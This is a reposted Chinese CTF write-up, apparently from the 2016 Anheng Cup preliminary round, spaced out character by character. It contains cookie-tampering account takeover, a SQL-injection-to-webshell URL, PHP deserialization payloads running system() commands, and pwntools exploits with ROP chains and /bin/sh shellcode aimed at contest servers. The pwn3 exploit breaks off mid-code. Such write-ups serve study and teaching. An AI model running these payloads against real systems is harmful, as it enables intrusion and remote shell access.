搜索

[2755] 2016-04-17_第三届4.29首都网络安全日“安恒杯”网络安全技术大赛初赛writeup(Part1)

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-16
2016-04-17_第三届4.29首都网络安全日“安恒杯”网络安全技术大赛初赛writeup(Part1) 第 三 届 4 . 2 9 首 都 网 络 安 全 日 “ 安 恒 杯 ” 网 络 安 全 技 术 大 赛 初 赛 w r i t e u p   ( P a r t   1 ) 安 恒 安 全 研 究 院   E 安 全   2 0 1 6 - 0 4 - 1 7 W E B W e b   1 5 0   w e b 1 题 目 描 述 题 目 描 述 ： Y o u   a r e   n o t   a n   a d m i n i s t r a t o r 解 题 过 程 ： 解 题 过 程 ： 注 册 用 户 并 登 录 ， 我 们 发 现 网 站 判 断 用 户 是 否 登 录 并 不 是 用 s e s s i o n ， 而 是 用 u i d 和 u s e r n a m e ， 内 容 被 加 密 。 将 c o o k i e 的 u s e r n a m e 内 容 替 换 成 u i d ， 发 现 显 示 的 用 户 命 变 成 了 u i d ， 可 以 推 测 网 站 是 根 据 u i d 判 断 用 户 的 。 由 于 我 们 不 知 道 加 密 过 程 无 法 直 接 修 改 c o o k i e 内 容 ， 但 是 我 们 可 以 通 过 加 密 的 u s e r n a m e 来 替 换 u i d 。 方 法 1 ： 注 册 用 户 名 为 1 到 1 0 0 0 的 用 户 ， 逐 个 登 录 后 将 u i d 内 容 替 换 为 u s e r n a m e 内 容 。 但 是 经 测 试 ， 注 册 有 用 户 名 长 度 限 制 长 度 必 须 大 于 等 于 三 位 数 。 法 1 无 效 。 经 测 试 ， 我 们 注 册 用 户 名 为 1 2 a b c 的 用 户 ， 登 录 后 替 换 u i d 可 成 功 登 录 u i d 为 1 2 的 用 户 。 所 以 有 法 2 . 方 法 2 ： 注 册 用 户 名 为 1 a b c 到 1 0 0 0 a b c 的 用 户 ， 逐 个 登 录 后 将 u i d 内 容 替 换 为 u s e r n a m e 内 容 。 直 至 登 录 管 理 员 账 户 。
W e b   2 0 0   w e b 2 题 目 描 述 ： 题 目 描 述 ： H o w   t o   b e   a   g o o d   m o d e l i n g   a g e n t 解 题 过 程 ： 解 题 过 程 ： 注 册 用 户 并 登 录 ， 发 现 链 接 中 ： / i n d e x . p h p ? a c t i o n = v i e w & m o d = i n d e x & b y = a g e 的 b y 参 数 存 在 S Q L 注 入 。 访 问 正 常 ： . / i n d e x . p h p ? a c t i o n = v i e w & m o d = i n d e x & b y = a g e ` % 2 0 A S % 2 0 D E C I M A L ) % 2 3 盲 注 测 试 发 现 数 据 库 内 无 有 用 数 据 。 尝 试 导 出 数 据 ： . / i n d e x . p h p ? a c t i o n = v i e w & m o d = i n d e x & b y = i d ` % 2 0 A S % 2 0 D E C I M A L ) % 2 0 d e s c % 2 0 i n t o % 2 0 o u t f i l e % 2 0 % 2 7 / v a r / w w w / h t m l / e v i l . p h p % 2 7 % 2 3 测 试 发 现 可 以 导 出 数 据 到 文 件 ， 尝 试 往 数 据 中 插 入 一 句 话 代 码 。 测 试 发 现 插 入 数 据 类 型 只 经 前 端 校 验 ， 可 插 入 字 符 串 ， 但 是 字 符 串 有 长 度 限 制 。 所 以 需 要 多 次 提 交 数 据 拼 接 出 一 句 话 。 举 例 ： 分 四 次 提 交 导 出 数 据 ： . / i n d e x . p h p ? a c t i o n = v i e w & m o d = i n d e x & b y = i d ` % 2 0 A S % 2 0 D E C I M A L ) % 2 0 d e s c % 2 0 i n t o % 2 0 o u t f i l e % 2 0 % 2 7 / v a r / w w w / h t m l / e v i l . p h p % 2 7 % 2 3 发 现 w e b 根 目 录 不 可 写 ， 查 看 网 页 源 代 码 ， 存 在 u p l o a d 目 录 ， 测 试 发 现 u p l o a d 目 录 是 可 写 的 ， 用 同 样 的 方 式 将 数 据 导 出 到 u p l o a d 目 录 下 面 ， 生 成 一 句 话 木 马 ， 连 接 后 查 找 f l a g ， 发 现 f l a g 在 u p l o a d 目 录 下 面 。
    W e b   3 5 0   w e b 3 题 目 描 述 ： 题 目 描 述 ： b u g s . p h p . n e t 解 题 思 路 ： 解 题 思 路 ： 查 看 p h p i n f o . p h p ， 可 以 发 下 s e s s i o n 的 序 列 化 方 式 和 i n d e x . p h p 序 列 化 方 式 不 同 ， 存 在 反 序 列 化 漏 洞 。 参 考 ： h t t p s : / / b u g s . p h p . n e t / b u g . p h p ? i d = 7 1 1 0 1 查 看 c l a s s . p h p 文 件 代 码 可 发 现 可 以 构 造 出 可 导 致 命 令 执 行 序 列 化 字 符 串 。 O : 4 : " f o o 1 " : 1 : { s : 4 : " v a r r " ; O : 4 : " f o o 2 " : 2 : { s : 4 : " v a r r " ; s : 1 : " 1 " ; s : 3 : " o b j " ; O : 4 : " f o o 3 " : 1 : { s : 4 : " v a r r " ; s : 3 0 : " s y s t e m ( " l s - a   / v a r / w w w / h t m l " ) ; " ; } } } 现 在 我 们 需 要 找 到 可 以 修 改 s e s s i o n 的 地 方 ， 通 过 p h p i n f o 可 以 发 现 s e s s i o n . u p l o a d _ p r o g r e s s . e n a b l e d 是 打 开 的 ， 如 ： 文 件 名 可 控 。 参 考 ： h t t p : / / p h p . n e t / m a n u a l / z h / s e s s i o n . u p l o a d - p r o g r e s s . p h p   上 传 文 件 页 面 ： < f o r m a c t i o n = " h t t p : / / 1 1 4 . 5 5 . 5 4 . 2 8 / p h p i n f o . p h p "   m e t h o d = " p o s t " e n c t y p e = " m u l t i p a r t / f o r m - d a t a " > < i n p u t t y p e = " h i d d e n "   n a m e = " P H P _ S E S S I O N _ U P L O A D _ P R O G R E S S " v a l u e = " 1 2 3 " > < i n p u t t y p e = " f i l e "   n a m e = " f i l e " > < i n p u t t y p e = " s u b m i t " > < / f o r m > 用 抓 包 软 件 修 改 上 传 数 据 包 ， 将 f i l e n a m e 修 改 为 f i l e n a m e = ” | O : 4 : " f o o 1 " : 1 : { s : 4 : " v a r r " ; O : 4 : " f o o 2 " : 2 : { s : 4 : " v a r r " ; s : 1 : " 1 " ; s : 3 : " o b j " ; O : 4 : " f o o 3 " : 1 : { s : 4 : " v a r r " ; s : 3 0 : " s y s t e m ( " l s - a   / v a r / w w w / h t m l " ) ; " ; } } } ” 访 问 i n d e x . p h p ， 列 出 文 件 目 录 ， 找 出 f l a g 文 件 。 再 次 抓 包 上 传 ， f i l e n a m e 修 改 为 f i l e n a m e = ” | O : 4 : " f o o 1 " : 1 : { s : 4 : " v a r r " ; O : 4 : " f o o 2 " : 2 : { s : 4 : " v a r r " ; s : 1 : " 1 " ; s : 3 : " o b j " ; O : 4 : " f o o 3 " : 1 : { s : 4 : " v a r r " ; s : 2 7 : " s y s t e m ( " c a t f l a g _ x x x . p h p " ) ; " ; } } } ” 访 问 i n d e x . p h p 获 取 f l a g   P W N P W N   2 5 0   p w n 1 解 题 过 程 ： 解 题 过 程 ： 通 过 执 行 程 序 ， 反 汇 编 ， 可 知 道 程 序 的 基 本 流 程 在 m a i n 函 数 中 输 入 n a m e ， 在 选 项 3 显 示 信 息 函 数 中 会 复 制 到 一 个 小 的 b u f f e r 中 ， 这 就 会 造 成 一 个 栈 溢 出 本 题 只 是 开 启 了   a s l r   和   n x － － － － － － － － － － － － － － － － － j u n m o x i a o @ s k y : ~ / D e s k t o p / p w n 1 / p w n 1 $ f i l e   p w n 1 p w n 1 :   E L F   3 2 - b i t L S B     e x e c u t a b l e ,   I n t e l   8 0 3 8 6 ,   v e r s i o n   1 ( S Y S V ) ,   d y n a m i c a l l y   l i n k e d   ( u s e s   s h a r e d   l i b s ) ,   f o r   G N U / L i n u x 2 . 6 . 2 4 , B u i l d I D [ s h a 1 ] = 1 3 f b 2 4 7 1 b b e d 2 9 2 0 a a 1 6 e f a 1 3 9 6 f 1 a 6 f e a b 1 6 0 3 f ,   n o t   s t r i p p e d
  通 过 反 汇 编 可 以 看 到 程 序 中 使 用 的 s y s t e m @ P L T 同 时 可 以 找 到 程 序 中 存 在 " s h x 0 0 " 字 符 串 用 s y s t e m @ P L T 覆 盖 返 回 地 址 ， 布 置 好 参 数 即 可 获 得 s h e l l E x p 利 用 代 码 如 下 ： f r o m   p w n   i m p o r t   * s y s t e m _ g o t _ p l t   =   0 x 0 8 0 4 8 4 b 0 s y s t e m _ a r g   =   0 x 8 0 4 8 2 e a o f f s e t   =   1 4 0 p a y l o a d   =   ' a ' * 1 4 0 + p 3 2 ( s y s t e m _ g o t _ p l t ) + ' b ' * 4 + p 3 2 ( s y s t e m _ a r g ) # p   =   p r o c e s s ( " . / p w n 1 " ) p   =   r e m o t e ( ' 1 2 0 . 2 7 . 1 4 4 . 1 7 7 ' ,   8 0 0 0 ) p . r e c v u n t i l ( " n a m e : " ) p . s e n d l i n e ( p a y l o a d ) p . r e c v u n t i l ( " : " ) # r a w _ i n p u t ( " d e b u g " ) p . s e n d l i n e ( " 1 " ) p . i n t e r a c t i v e ( )     P W N   3 5 0   p w n 2 解 题 过 程 ： 解 题 过 程 ： j u n m o x i a o @ s k y : ~ / D e s k t o p / p w n 2 $ f i l e   p w n 2 p w n 2 :   E L F   3 2 - b i t L S B     e x e c u t a b l e ,   I n t e l   8 0 3 8 6 ,   v e r s i o n   1 ( G N U / L i n u x ) ,   s t a t i c a l l y   l i n k e d ,   f o r   G N U / L i n u x 2 . 6 . 2 4 , B u i l d I D [ s h a 1 ] = 1 6 5 4 0 6 f 6 f e 5 9 d f a e 5 5 d 7 1 2 9 b 5 e f 7 c a 5 8 b f 1 1 5 3 5 3 ,   n o t   s t r i p p e d 通 过 分 析 可 知 程 序 的 基 本 流 程 1   程 序 先 要 求 输 入 执 行 运 算 的 次 数 ， 然 后 会 分 配 次 数 ＊ 4 的 堆 空 间 来 放 置 运 算 结 果 2   然 后 每 次 要 求 选 择 一 种 运 算 ， 加 减 乘 除 或 者 选 择 保 存 结 果 并 结 束 3   在 保 存 时 会 将 结 果 复 制 到 m a i n 中 的 一 个 四 十 字 节 的 b u f f e r 中 去 ， 就 造 成 了 栈 溢 出 。   利 用 此 程 序 是 静 态 编 译 的 ， 没 有 动 态 链 接 的 过 程 ， 所 以 只 能 考 虑 构 造 r o p 链 不 过 可 以 看 到 程 序 中 含 有 这 些 代 码 j u n m o x i a o @ s k y : ~ / D e s k t o p / p w n 2 $ r e a d e l f   - s   p w n 2   |   g r e p   e x e c       8 9 6 :   0 8 0 b 9 0 e 0     2 3 1 1   F U N C       L O C A L     D E F A U L T         6   e x e c u t e _ c f a _ p r o g r a m       9 0 0 : 0 8 0 b a 2 2 0     1 8 8 4   F U N C         L O C A L   D E F A U L T         6   e x e c u t e _ s t a c k _ o p     1 1 9 4 :   0 8 0 a 2 4 8 0         8 8   F U N C       G L O B A L   D E F A U L T         6 _ d l _ m a k e _ s t a c k _ e x e c u t a b l e     2 2 1 3 :   0 8 0 e a 9 f 4           4   O B J E C T   G L O B A L   D E F A U L T       2 4 _ d l _ m a k e _ s t a c k _ e x e c u t a b l e
  g d b - p e d a $ d i s a s s e m b l e   _ d l _ m a k e _ s t a c k _ e x e c u t a b l e D u m p   o f   a s s e m b l e r c o d e   f o r   f u n c t i o n   _ d l _ m a k e _ s t a c k _ e x e c u t a b l e :       0 x 0 8 0 a 2 4 8 0   < + 0 > :   p u s h       e b x       0 x 0 8 0 a 2 4 8 1   < + 1 > :   m o v         e b x , e a x       0 x 0 8 0 a 2 4 8 3   < + 3 > :   s u b         e s p , 0 x 1 8       0 x 0 8 0 a 2 4 8 6   < + 6 > :   m o v         e d x , D W O R D   P T R   [ e a x ]       0 x 0 8 0 a 2 4 8 8   < + 8 > :   m o v         e a x , d s : 0 x 8 0 e a a 0 8       0 x 0 8 0 a 2 4 8 d   < + 1 3 > :         m o v       e c x , e a x       0 x 0 8 0 a 2 4 8 f   < + 1 5 > :         n e g       e c x       0 x 0 8 0 a 2 4 9 1   < + 1 7 > :         a n d       e c x , e d x       0 x 0 8 0 a 2 4 9 3   < + 1 9 > :         c m p       e d x , D W O R D   P T R   d s : 0 x 8 0 e 9 f c 4       0 x 0 8 0 a 2 4 9 9   < + 2 5 > :         j n e       0 x 8 0 a 2 4 c 7   < _ d l _ m a k e _ s t a c k _ e x e c u t a b l e + 7 1 >       0 x 0 8 0 a 2 4 9 b   < + 2 7 > :         m o v       e d x , D W O R D   P T R   d s : 0 x 8 0 e 9 f e c       0 x 0 8 0 a 2 4 a 1   < + 3 3 > :         m o v       D W O R D   P T R   [ e s p + 0 x 4 ] , e a x       0 x 0 8 0 a 2 4 a 5   < + 3 7 > :         m o v       D W O R D   P T R   [ e s p ] , e c x       0 x 0 8 0 a 2 4 a 8   < + 4 0 > :         m o v       D W O R D   P T R   [ e s p + 0 x 8 ] , e d x       0 x 0 8 0 a 2 4 a c   < + 4 4 > :         c a l l     0 x 8 0 6 d d 5 0   < m p r o t e c t >       0 x 0 8 0 a 2 4 b 1   < + 4 9 > :         t e s t     e a x , e a x       0 x 0 8 0 a 2 4 b 3   < + 5 1 > :         j n e       0 x 8 0 a 2 4 c e   < _ d l _ m a k e _ s t a c k _ e x e c u t a b l e + 7 8 >       0 x 0 8 0 a 2 4 b 5   < + 5 3 > :         m o v       D W O R D   P T R   [ e b x ] , 0 x 0       0 x 0 8 0 a 2 4 b b   < + 5 9 > :         o r         D W O R D   P T R   d s : 0 x 8 0 e a 9 f 8 , 0 x 1       0 x 0 8 0 a 2 4 c 2   < + 6 6 > :         a d d       e s p , 0 x 1 8       0 x 0 8 0 a 2 4 c 5   < + 6 9 > :         p o p       e b x       0 x 0 8 0 a 2 4 c 6   < + 7 0 > :         r e t             0 x 0 8 0 a 2 4 c 7   < + 7 1 > :         m o v       e a x , 0 x 1       0 x 0 8 0 a 2 4 c c   < + 7 6 > :         j m p       0 x 8 0 a 2 4 c 2   < _ d l _ m a k e _ s t a c k _ e x e c u t a b l e + 6 6 >       0 x 0 8 0 a 2 4 c e   < + 7 8 > :         m o v       e a x , 0 x f f f f f f e 8       0 x 0 8 0 a 2 4 d 3   < + 8 3 > :         m o v       e a x , D W O R D   P T R   g s : [ e a x ]       0 x 0 8 0 a 2 4 d 6   < + 8 6 > :         j m p       0 x 8 0 a 2 4 c 2   < _ d l _ m a k e _ s t a c k _ e x e c u t a b l e + 6 6 > E n d   o f   a s s e m b l e r d u m p . g d b - p e d a $ 我 们 可 以 使 用 m p r o t e c t 将 栈 设 置 为 可 执 行 的 ， 然 后 将 我 们 的 s h e l l c o d e 直 接 放 在 栈 上 执 行 即 可   然 后 就 是 找 g a d g e t 的 过 程   # # # # # # # # # # # # # # # # # # # # # # # # # # # s e t   _ _ s t a c k _ p r o t   =   0 x 7   g 1   =   0 x 0 8 0 a 1 d a d   # m o v   d w o r d   [ e d x ] ,   e a x   ;   r e t     ; g 1 _ 1   =   0 x 0 8 0 b b 4 0 6 #   p o p   e a x   ;   r e t     ;
g 1 _ 2   =   0 x 0 8 0 6 e d 0 a #   p o p   e d x   ;   r e t     ; s t a c k _ p r o t   = 0 x 8 0 e 9 f e c   # # # # # # # # # # # # # # # # # # # # # # # # # # # i n v o k e   _ d l _ m a k e _ s t a c k _ e x e c u t a b l e   g 2   =   0 x 0 8 0 a 2 4 8 0   # _ d l _ m a k e _ s t a c k _ e x e c u t a b l e g 2 _ 1   =   0 x 0 8 0 b b 4 0 6 #   p o p   e a x   ;   r e t     ; l i b c _ s t a c k _ e n d   = 0 x 8 0 e 9 f c 4   # # # # # # # # # # # # # # # # # # # # # # # # # # # j u m p   t o   s h e l l c o d e   g 3   =   0 x 0 8 0 c 0 9 c 3   # j m p   e s p   ;   然 后 依 次 布 置 即 可 ， 具 体 的 过 程 可 以 参 考 e x p 。 E x p 利 用 代 码 如 下 ： f r o m   p w n   i m p o r t   * i m p o r t   s t r u c t i m p o r t   m a t h # c o n t e x t . l o g _ l e v e l   =   ' d e b u g ' c o n t e x t . t i m e o u t   =   1 0 0 0 0 d e f   c o n v _ s c o d e ( ) :         s h e l l c o d e   =   " x 3 1 x c 0 x 5 0 x 6 8 x 2 f x 2 f x 7 3 x 6 8 x 6 8 x 2 f x 6 2 x 6 9 x 6 e x 8 9 x e 3 x 5 0 x 8 9 x e 2 x 5 3 x 8 9 x e 1 x b 0 x 0 b x c d x 8 0 "         # s h e l l c o d e   =   " x 2 0 " * 2 8         # s h e l l c o d e   =   " x 3 1 x c 9 x f 7 x e 1 x 5 1 x 6 8 x 2 f x 2 f x 7 3 x 6 8 x 6 8 x 2 f x 6 2 x 6 9 x 6 e x 8 9 x e 3 x b 0 x 0 b x c d x 8 0 "         p a d   =   ( i n t ( m a t h . c e i l ( l e n ( s h e l l c o d e ) / 4 . 0 ) ) * 4 )   -   l e n ( s h e l l c o d e )         f o r   i   i n   r a n g e ( 0 ,   p a d ) :                 s h e l l c o d e   + =   ' x 0 0 '         n   =   l e n ( s h e l l c o d e ) / 4         r e t u r n   s t r u c t . u n p a c k ( ' < '   +   ' I ' * n ,   s h e l l c o d e ) d e f   f i l l _ p a d ( p ) :         p . r e c v u n t i l ( ' r e s u l t n ' )         p . s e n d l i n e ( ' 2 ' )         p . r e c v u n t i l ( ' x : ' )         p . s e n d l i n e ( ' 1 ' )         p . r e c v u n t i l ( ' y : ' )         p . s e n d l i n e ( ' 1 ' ) # # # # # # # # # # # # # # # # # # # # # # # # # # #   s e t   _ _ s t a c k _ p r o t   =   0 x 7 g 1   =   0 x 0 8 0 a 1 d a d   #   m o v   d w o r d   [ e d x ] ,   e a x   ;   r e t     ;
g 1 _ 1   =   0 x 0 8 0 b b 4 0 6   #   p o p   e a x   ;   r e t     ; g 1 _ 2   =   0 x 0 8 0 6 e d 0 a   #   p o p   e d x   ;   r e t     ; s t a c k _ p r o t   =   0 x 8 0 e 9 f e c # # # # # # # # # # # # # # # # # # # # # # # # # # #   i n v o k e   _ d l _ m a k e _ s t a c k _ e x e c u t a b l e g 2   =   0 x 0 8 0 a 2 4 8 0   #   _ d l _ m a k e _ s t a c k _ e x e c u t a b l e g 2 _ 1   =   0 x 0 8 0 b b 4 0 6   #   p o p   e a x   ;   r e t     ; l i b c _ s t a c k _ e n d   =   0 x 8 0 e 9 f c 4 # # # # # # # # # # # # # # # # # # # # # # # # # # #   j u m p   t o   s h e l l c o d e g 3   =   0 x 0 8 0 c 0 9 c 3   #   j m p   e s p   ; s h e l l c o d e   =   c o n v _ s c o d e ( ) p   =   r e m o t e ( ' 1 1 4 . 5 5 . 5 5 . 1 0 4 ' ,   7 0 0 0 ) # p   =   p r o c e s s ( ' . / p w n 2 ' ) p . r e c v u n t i l ( ' c a l c u l a t e : ' ) p . s e n d l i n e ( ' 2 5 5 ' )       f o r   i   i n   r a n g e ( 0 ,   1 6 ) :         f i l l _ p a d ( p ) #   s e t   _ _ s t a c k _ p r o t   =   0 x 7 p . r e c v u n t i l ( ' r e s u l t n ' ) p . s e n d l i n e ( ' 1 ' ) p . r e c v u n t i l ( ' x : ' ) p . s e n d l i n e ( s t r ( g 1 _ 1 ) ) p . r e c v u n t i l ( ' y : ' ) p . s e n d l i n e ( ' 0 ' ) p . r e c v u n t i l ( ' r e s u l t n ' ) p . s e n d l i n e ( ' 2 ' ) p . r e c v u n t i l ( ' x : ' ) p . s e n d l i n e ( ' 1 0 0 ' ) p . r e c v u n t i l ( ' y : ' ) p . s e n d l i n e ( ' 9 3 ' ) p . r e c v u n t i l ( ' r e s u l t n ' ) p . s e n d l i n e ( ' 2 ' ) g 1 _ 2   + =   1 0 0 p . r e c v u n t i l ( ' x : ' )
p . s e n d l i n e ( s t r ( g 1 _ 2 ) ) p . r e c v u n t i l ( ' y : ' ) p . s e n d l i n e ( ' 1 0 0 ' ) p . r e c v u n t i l ( ' r e s u l t n ' ) p . s e n d l i n e ( ' 2 ' ) s t a c k _ p r o t   + =   1 0 0 p . r e c v u n t i l ( ' x : ' ) p . s e n d l i n e ( s t r ( s t a c k _ p r o t ) ) p . r e c v u n t i l ( ' y : ' ) p . s e n d l i n e ( ' 1 0 0 ' ) p . r e c v u n t i l ( ' r e s u l t n ' ) p . s e n d l i n e ( ' 2 ' ) g 1   + =   1 0 0 p . r e c v u n t i l ( ' x : ' ) p . s e n d l i n e ( s t r ( g 1 ) ) p . r e c v u n t i l ( ' y : ' ) p . s e n d l i n e ( ' 1 0 0 ' ) #   i n v o k e   _ d l _ m a k e _ s t a c k _ e x e c u t a b l e p . r e c v u n t i l ( ' r e s u l t n ' ) p . s e n d l i n e ( ' 2 ' ) g 2 _ 1   + =   1 0 0 p . r e c v u n t i l ( ' x : ' ) p . s e n d l i n e ( s t r ( g 2 _ 1 ) ) p . r e c v u n t i l ( ' y : ' ) p . s e n d l i n e ( ' 1 0 0 ' ) p . r e c v u n t i l ( ' r e s u l t n ' ) p . s e n d l i n e ( ' 2 ' ) l i b c _ s t a c k _ e n d   + =   1 0 0 p . r e c v u n t i l ( ' x : ' ) p . s e n d l i n e ( s t r ( l i b c _ s t a c k _ e n d ) ) p . r e c v u n t i l ( ' y : ' ) p . s e n d l i n e ( ' 1 0 0 ' ) p . r e c v u n t i l ( ' r e s u l t n ' ) p . s e n d l i n e ( ' 2 ' ) g 2   + =   1 0 0 p . r e c v u n t i l ( ' x : ' ) p . s e n d l i n e ( s t r ( g 2 ) ) p . r e c v u n t i l ( ' y : ' ) p . s e n d l i n e ( ' 1 0 0 ' )
# r a w _ i n p u t ( ' d e b u g ' ) #   j u m p   t o   s h e l l c o d e p . r e c v u n t i l ( ' r e s u l t n ' ) p . s e n d l i n e ( ' 2 ' ) g 3   + =   1 0 0 p . r e c v u n t i l ( ' x : ' ) p . s e n d l i n e ( s t r ( g 3 ) ) p . r e c v u n t i l ( ' y : ' ) p . s e n d l i n e ( ' 1 0 0 ' ) f o r   s c o d e   i n   s h e l l c o d e :         p . r e c v u n t i l ( ' r e s u l t n ' )         p . s e n d l i n e ( ' 1 ' )         p r i n t ( h e x ( s c o d e ) )         p . r e c v u n t i l ( ' x : ' )         p . s e n d l i n e ( s t r ( s c o d e ) )         p . r e c v u n t i l ( ' y : ' )         p . s e n d l i n e ( ' 0 ' ) # t r i g g e r   v u l p . r e c v u n t i l ( ' r e s u l t n ' ) p . s e n d l i n e ( ' 5 ' ) p . i n t e r a c t i v e ( )   P W N   4 5 0   p w n 3 解 题 过 程 ： 解 题 过 程 ： j u n m o x i a o @ s k y : ~ / 4 2 9 $ f i l e   p w n 3 p w n 3 :   E L F   3 2 - b i t L S B     e x e c u t a b l e ,   I n t e l   8 0 3 8 6 ,   v e r s i o n   1 ( S Y S V ) ,   d y n a m i c a l l y   l i n k e d   ( u s e s   s h a r e d   l i b s ) ,   f o r   G N U / L i n u x 2 . 6 . 2 4 , B u i l d I D [ s h a 1 ] = 1 f c 6 d c 9 a 3 4 0 c 9 8 8 4 5 3 3 a 3 b 3 1 8 5 9 1 b e 4 6 9 5 f 8 8 f 1 6 ,   n o t   s t r i p p e d g d b - p e d a $   c h e c k s e c C A N A R Y         :   d i s a b l e d F O R T I F Y       :   d i s a b l e d N X                 :   E N A B L E D P I E               :   d i s a b l e d R E L R O           :   P a r t i a l j u n m o x i a o @ s k y : ~ / 4 2 9 $ o b j d u m p   - R   p w n 3 p w n 3 ：           文 件 格 式   e l f 3 2 - i 3 8 6 D Y N A M I C   R E L O C A T I O N R E C O R D S
O F F S E T       T Y P E                             V A L U E 0 8 0 4 9 f f c R _ 3 8 6 _ G L O B _ D A T         _ _ g m o n _ s t a r t _ _ 0 8 0 4 a 0 6 0 R _ 3 8 6 _ C O P Y                 s t d o u t 0 8 0 4 a 0 0 c R _ 3 8 6 _ J U M P _ S L O T       p r i n t f 0 8 0 4 a 0 1 0 R _ 3 8 6 _ J U M P _ S L O T       f f l u s h 0 8 0 4 a 0 1 4 R _ 3 8 6 _ J U M P _ S L O T       p u t s 0 8 0 4 a 0 1 8 R _ 3 8 6 _ J U M P _ S L O T       s y s t e m 0 8 0 4 a 0 1 c R _ 3 8 6 _ J U M P _ S L O T       _ _ g m o n _ s t a r t _ _ 0 8 0 4 a 0 2 0 R _ 3 8 6 _ J U M P _ S L O T       e x i t 0 8 0 4 a 0 2 4 R _ 3 8 6 _ J U M P _ S L O T       _ _ l i b c _ s t a r t _ m a i n 0 8 0 4 a 0 2 8 R _ 3 8 6 _ J U M P _ S L O T       m e m s e t 0 8 0 4 a 0 2 c R _ 3 8 6 _ J U M P _ S L O T       _ _ i s o c 9 9 _ s c a n f 通 过 分 析 可 知 程 序 的 基 本 流 程 程 序 先 要 求 输 入 名 字 ， 然 后 会 要 求 输 入 十 次 i n d e x 和 v a l u e ， 如 果 v a l u e 大 于 9 就 会 直 接 退 出 ， 但 接 受 索 引 这 个 参 数 是 i n t 型 ， 存 在 整 数 溢 出 , 所 以 可 以 控 制 数 据 覆 盖 返 回 地 址 。   然 后 可 以 构 造 c h a i n 如 下 即 可 获 取 s h e l l s c a n f @ p l t r e t ( p o p   p o p   r e t ) a d d r e s s   o f   % 9 s d a t a 段 地 址 s y s t e m @ p l t 填 充 d a t a 段 地 址 e x p 利 用 代 码 如 下 ： f r o m   p w n   i m p o r t   * # c o n t e x t . l o g _ l e v e l   =   ' d e b u g ' # r   =   r e m o t e ( ' 1 2 7 . 0 . 0 . 1 ' ,   7 0 0 0 ) r   =   p r o c e s s ( ' . / p w n 3 ' ) r . r e c v u n t i l ( ' n a m e   n ' ) r . s e n d l i n e ( ' 1 2 3 ' )   # r a w _ i n p u t ( ' d e b u g ' ) r . r e c v u n t i l ( ' i n d e x n ' ) r . s e n d l i n e ( s t r ( - 2 1 4 7 4 8 3 6 4 8   +   1 4 ) ) r . r e c v u n t i l ( ' v a l u e n ' ) r . s e n d l i n e ( s t r ( i n t ( ' 8 0 4 8 4 7 0 ' ,   1 6 ) ) ) r . r e c v u n t i l ( ' i n d e x n ' )
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理